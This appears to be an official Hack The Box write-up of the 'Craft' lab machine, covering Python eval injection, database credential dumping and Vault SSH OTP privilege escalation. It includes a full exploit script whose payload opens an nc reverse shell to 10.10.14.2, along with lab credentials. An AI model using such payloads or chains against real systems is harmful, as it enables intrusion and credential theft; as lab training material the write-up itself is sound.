Craft
23rd August 2019 / Document No D19.100.47
Prepared By: MinatoTW
Machine Author: Rotarydrone
Difficulty: Medium
Classification: Official
Page 1 / 17
SYNOPSIS
Craft is a medium difficulty Linux box, hosting a Gogs server with a public repository. One of the
issues in the repository talks about a broken feature, which calls the eval function on user input.
This is exploited to gain a shell on a container, which can query the database containing a user
credential. After logging in, the user is found to be using vault to manage the SSH server, and the
secret for which is in their Gogs account. This secret is used to create an OTP which can be used
to SSH in as root.
Skills Required Skills Learned
● Linux Enumeration ● Python eval injection
● Python code review ● pymysql API
● Git ● Vault SSH
Page 2 / 17
ENUMERATION
NMAP
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.110 | grep ^[0-9] | cut -d '/' -f 1
| tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.110
After a full port scan, we find SSH running on port 22 and 6022. An Nginx server is running on
port 443.
HTTPS
After browsing to port 443 and accepting the certificate, we see the homepage for Craft.
Page 3 / 17
The two icons on the top right point to two vhosts, “api.craft.htb” and “gogs.craft.htb”. Adding
both of them to the hosts file and browsing to gogs.craft.htb, we come across a self-hosted Gogs
server.
Clicking on explore takes us to the publicly available repositories, where we find Craft/craft-api.
Gogs Enumeration
Page 4 / 17
There’s one open issue by the user Dinesh at https://gogs.craft.htb/Craft/craft-api/issues/2, which
exposes the API token and the request to the brew endpoint.
curl -H 'X-Craft-API-Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-w
W1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw' -H "Content-Type: application/json" -k
-X POST https://api.craft.htb/api/brew/ --data
'{"name":"bullshit","brewer":"bullshit", "style": "bullshit", "abv": "15.0")}'
Saving this API token for later, we proceed to look at the latest commit by the user Dinesh that is
referenced in the issue.
Looking at the commit, it’s seen that a call to eval was added which checks if the requested “abv”
value is greater than 1. As there’s no sanitization in place, we can inject python code in the
Page 5 / 17
request, which will get executed by the eval call. The eval function can evaluate and execute any
python code given to it. For example:
The addition was evaluated by substituting the value for var and then adding. Similarly, we can
execute OS command by using the inline import function in python.
The __import__() function can import a module and then call it’s functions inline. We can use this
to execute a reverse shell, and gain a foothold on the box.
Looking at the commits in the repo, we find another commit by Dinesh, which added a test script.
Page 6 / 17
The script checks if the change made to the brew endpoint works as intended. Download the
script and execute to check if the changes made to the code are still valid.
After downloading the script, add the following lines at the top to disable invalid certificate
warnings.
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
Ensure that the api.craft.htb VHOST is added to the hosts file and then run the script.
We received the response which is exactly like the one configured in the issue. So, possibly the
code wasn’t patched and could be exploited through eval injection.
Edit the script and add the nc reverse shell command to the abv value, the second request can
be removed.
Page 7 / 17
#!/usr/bin/env python
import requests
import json
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh',
'4aUh0A8PbVJxgd'), verify=False)
json_response = json.loads(response.text)
token = json_response['token']
headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' }
# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers,
verify=False)
print(response.text)
# create a sample brew with bogus ABV... should fail.
print("Create bogus ABV brew")
brew_dict = {}
brew_dict['abv'] = "__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat
/tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 4444 >/tmp/f')"
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'
json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers,
data=json_data, verify=False)
print(response.text)
Page 8 / 17
FOOTHOLD
Executing the script should give a reverse shell as root.
Looking around we see the “.dockerenv” file in the ‘/ ‘folder which confirms that we’re on a
container. Looking in the /opt/app folder, we find a script named dbtest.py, which executes SQL
statements on the MySQL host (not accessible externally).
import pymysql
from craft_api import settings
# test connection to mysql database
connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)
try:
with connection.cursor() as cursor:
sql = "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"
cursor.execute(sql)
result = cursor.fetchone()
print(result)
Page 9 / 17
finally:
connection.close()
Executing the script on the container we get a reply which confirms that the database host is up.
The settings are imported from the craft_api folder, looking at it we find db credentials as well as
the db name.
Let’s create a new script to view all the tables in the database. It needs to be in the same folder
to import the settings. Create the following script locally.
#!/usr/bin/env python
import pymysql
from craft_api import settings
# test connection to mysql database
connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)
try:
Page 10 / 17
with connection.cursor() as cursor:
sql = "show tables"
cursor.execute(sql)
result = cursor.fetchall()
print(result)
finally:
connection.close()
We switched the query to list all the tables in the database, and used the fetchall() method to list
all rows. This can be found in the pymysql docs here. Start an HTTP server and download the
script to the box.
Executing the script, we receive the list of tables in the DB.
Next, edit the script to get all the data in the user table. Switch the SQL query to the one below
and redownload the script to the box.
sql = "Select * from `user`"
Page 11 / 17
Executing the script gives us the credentials for the users Dinesh, Ebachman and Gilfoyle.
Page 12 / 17
LATERAL MOVEMENT
Trying to SSH in with the passwords fail, but we can login as Gilfoyle to the Gogs server. Browse
to https://gogs.craft.htb/user/login, using the credentials Gilfoyle / ZEU3N8WNM2rh4T to login.
Looking at his private repositories we find a “craft-infra” repository. The repository contains a .ssh
folder with the private key for the user.
Page 13 / 17
Copy the key locally, and use SSH to login. The server asks for the password to the encrypted
key, and we can input Gilfoyle’s password gained from the database.
Page 14 / 17
PRIVILEGE ESCALATION
Looking at the user’s home folder we see a file named “.vault-token”.
A quick google search about it brings us to this page. Going back to Gilfoyle’s profile on Gogs,
we see a vault folder containing a secret.sh file. The user has configured “Vault” in order to
manage SSH logins.
Looking at the SSH secrets documentation for Vault here, we see that first a role has to be
created for a particular user.
Page 15 / 17
Looking back at the secrets.sh file, we see that the default user is root and roles is set to
“root_otp”. This can now be used to create an OTP for the root user in order to login. The format
can be found in the “Automate it!” section in the page.
Page 16 / 17
Following the same format, the command to generate the root OTP will be:
vault ssh -role root_otp -mode otp root@10.10.10.110
The command provides the OTP, and then performs an SSH login. The SSH password is the OTP
given by vault.
Page 17 / 17